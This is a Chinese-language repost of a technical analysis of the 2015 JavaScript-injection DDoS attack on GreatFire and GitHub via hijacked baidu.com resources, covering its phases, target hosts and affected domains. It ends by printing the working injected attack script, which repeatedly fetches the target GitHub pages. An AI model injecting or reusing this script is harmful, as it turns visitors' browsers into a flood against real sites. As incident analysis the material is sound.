為了防止惡意用戶發(fā)布惡意內(nèi)容,我們的安全分析瀏覽器都在虛擬機(jī)上運(yùn)行。這使我們能夠確定一個(gè)網(wǎng)頁是否包含惡意內(nèi)容,避免那些利用用戶瀏覽器的JavaScript發(fā)起的攻擊。我們每天會(huì)分析數(shù)以百萬計(jì)的網(wǎng)頁,通過機(jī)器學(xué)習(xí)算法選擇考察的網(wǎng)頁,大體上覆蓋了所有的網(wǎng)絡(luò)。
在三月中旬,出現(xiàn)幾起針對(duì)審查監(jiān)測(cè)機(jī)構(gòu)GreatFire的拒絕服務(wù)攻擊。研究人員分析了大量這種DDoS攻擊,發(fā)現(xiàn)了它的攻擊原理,它是通過網(wǎng)絡(luò)運(yùn)營(yíng)商進(jìn)行的,攔截良性網(wǎng)頁的內(nèi)容并注入惡意的JavaScript代碼。比如將托管在baidu.com的網(wǎng)頁分析JavaScript代碼和HTML資源,替換成包含攻擊片斷的JavaScript代碼,這些代碼會(huì)向被攻擊的域名持續(xù)發(fā)送請(qǐng)求。
注* GreatFire 是中國(guó)托管在Github上面的開源項(xiàng)目,此次攻擊的目的可能是希望這個(gè)項(xiàng)目從Github中移除。在中國(guó)這種劫持手法其實(shí)很常見,如有些網(wǎng)絡(luò)運(yùn)營(yíng)商會(huì)偶爾攔截某些網(wǎng)站并注入廣告或更換下載文件鏈接等,這種技術(shù)可能是次被用來發(fā)動(dòng)DDoS攻擊。
在這篇博客中,我們分析了從2015年3月1日到4月15日的數(shù)據(jù)。首次發(fā)現(xiàn)安全瀏覽在baidu.com中注入攻擊代碼是在3月3日,2015年我們的觀察到的后一次注入攻擊是在2015年4月7日。下面攻擊發(fā)動(dòng)的曲線圖:

我們注意到,這次攻擊分為多個(gè)階段。階段似乎是一個(gè)測(cè)試,從3月3日進(jìn)行到3月6日。初始測(cè)試的目標(biāo)是114.113.156.119:56789和并且請(qǐng)求的數(shù)目被人為限制。從3月4號(hào)到3月6日,請(qǐng)求限制被移除。
下一個(gè)階段是在3月10日到13日,針對(duì)下面的IP地址進(jìn)行:203.90.242.126。該IP地址的域名為sinajs.cn下的主機(jī)。 3月13日,攻擊擴(kuò)大到d1gztyvw1gvkdq.cloudfront.net。起初,請(qǐng)求都通過HTTP,然后升級(jí)到HTTPS。 3月14日,攻擊都通過HTTP和HTTPS開始真正的和有針對(duì)性指向d3rkfw22xppori.cloudfront.net。直到3月17日。
3月18日,受攻擊的主機(jī)增加到:
d117ucqx7my6vj.cloudfront.net,
d14qqseh1jha6e.cloudfront.net,
d18yee9du95yb4.cloudfront.net,
d19r410x06nzy6.cloudfront.net,
d1blw6ybvy6vm2.cloudfront.net
這也是我們次發(fā)現(xiàn)注射截?cái)嗥渲械姆枪δ苄訨avascript。在此攻擊過程的某個(gè)時(shí)刻,CloudFront的主機(jī)開始將請(qǐng)求302重定向到greatfire.org以及其他域名。使用替換的Javascript在3月20日完全停止,但HTML頁面注入還在繼續(xù)。而使用Javascript注入會(huì)破壞了原始網(wǎng)頁的功能,HTML注入則沒有。HTML被修改成包括原始內(nèi)容和注入攻擊Javascript代碼的內(nèi)容,如下所示:
<html> <head> <meta name="referrer" content="never"/> <title> </title> </head> <body> <iframe src="http://pan.baidu.com/s/1i3[...]?t=Zmh4cXpXJApHIDFMcjZa" style="position:absolute; left:0; top:0; height:100%; width:100%; border:0px;" scrolling="yes"></iframe> </body> <script type="text/javascript"> [... 注入攻擊的JavaScript代碼 ...]
通過該技術(shù),web瀏覽器會(huì)獲取相同的HTML頁面兩次,但由于查詢參數(shù)t的存在,第二個(gè)請(qǐng)求沒有進(jìn)行注入。被攻擊的域名也發(fā)生了變化,現(xiàn)在包括了:
dyzem5oho3umy.cloudfront.net,
d25wg9b8djob8m.cloudfront.net
d28d0hakfq6b4n.cloudfront.net。
這個(gè)階段進(jìn)行了約10小時(shí)后,我們看到他們302重定向到一個(gè)不同域名的目標(biāo)服務(wù)器。
注* *.cloudfront.net 重定向到了 github.com
針對(duì)CloudFront的主機(jī)攻擊在3月25日停止。相反,托管在github.com資源則現(xiàn)于被攻擊狀態(tài)。個(gè)新的目標(biāo)是
github.com/greatfire/wiki/wiki/nyt/,
很快就跟著
github.com/greatfire/
github.com/greatfire/wiki/wiki/dw/。
在3月26日,一個(gè)包含混淆攻擊的Javascript代碼取代了原來的版本并開始瞄準(zhǔn)以下資源:github.com/greatfire/和github.com/cn-nytimes/。在這里,我們也觀察到一些攔截注入。對(duì)GitHub的攻擊似乎在2015年4月7日停止,這是看到后一次觀測(cè)到的注入攻擊。
從三月攻擊開始到四月停止,我們觀測(cè)到19種獨(dú)特的Javascript版本(MD5)。
對(duì)于HTML注入,他們的MD5校驗(yàn)和內(nèi)容有關(guān)系,所以我們沒有提供。注入的Javascript非常類似于上面提到的那種方式。
我們的系統(tǒng)觀測(cè)到以下八個(gè)baidu.com域名和對(duì)應(yīng)的IP地址被進(jìn)了注入攻擊:
cbjs.baidu.com(123.125.65.120)
eclick.baidu.com(123.125.115.164)
hm.baidu.com(61.135.185.140)
pos.baidu.com(115.239.210.141)
cpro.baidu.com(115.239.211.17)
bdimg.share.baidu.com(211.90.25.48)
pan.baidu.com(180.149.132.99)
wapbaike.baidu.com(123.125.114.15)
注入的Javascript的大小介于995到1325個(gè)字節(jié)之間。
我們希望這份報(bào)告有助于了解這種攻擊的整體情況。它還表明,在目前的網(wǎng)絡(luò)環(huán)境下,攻擊者可能會(huì)借助一些安全的瀏覽器,任何人都將無法防范。這也表明,從背后分析這種攻擊其實(shí)是很難的。
如果整個(gè)網(wǎng)絡(luò)都通過TLS傳送并加密,這樣的注入攻擊就不可能出現(xiàn)。這進(jìn)一步增加了我們將網(wǎng)絡(luò)過渡到全加密來保護(hù)完整性的動(dòng)機(jī)。不幸的是,防御這種攻擊對(duì)于網(wǎng)站經(jīng)營(yíng)者來說是不容易的。
注* 其中一段攻擊JavaScript代碼,大概內(nèi)容是每2秒在html中加入一段script, url地址指向并訪問 https://github.com/greatfire/ , 從代碼可以分析出,其實(shí)任何被攻擊的主機(jī)都無法防范(如從http發(fā)動(dòng)針對(duì)https的攻擊),除非整個(gè)互聯(lián)網(wǎng)都進(jìn)入https時(shí)代(如果發(fā)生劫持,安全瀏覽器會(huì)發(fā)出警告)
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;
function r_send2() {
var a = unixtime() % NUM;
get(url_array[a])
}
function get(a) {
var b;
$.ajax({
url: a,
dataType: "script",
timeout: 1E4,
cache: !0,
beforeSend: function() {
requestTime = (new Date).getTime()
},
complete: function() {
responseTime = (new Date).getTime();
b = Math.floor(responseTime - requestTime);
3E5 > responseTime - startime && (r_send(b), count += 1)
}
})
}
function r_send(a) {
setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);本站文章版權(quán)歸原作者及原出處所有 。內(nèi)容為作者個(gè)人觀點(diǎn), 并不代表本站贊同其觀點(diǎn)和對(duì)其真實(shí)性負(fù)責(zé),本站只提供參考并不構(gòu)成任何投資及應(yīng)用建議。本站是一個(gè)個(gè)人學(xué)習(xí)交流的平臺(tái),網(wǎng)站上部分文章為轉(zhuǎn)載,并不用于任何商業(yè)目的,我們已經(jīng)盡可能的對(duì)作者和來源進(jìn)行了通告,但是能力有限或疏忽,造成漏登,請(qǐng)及時(shí)聯(lián)系我們,我們將根據(jù)著作權(quán)人的要求,立即更正或者刪除有關(guān)內(nèi)容。本站擁有對(duì)此聲明的最終解釋權(quán)。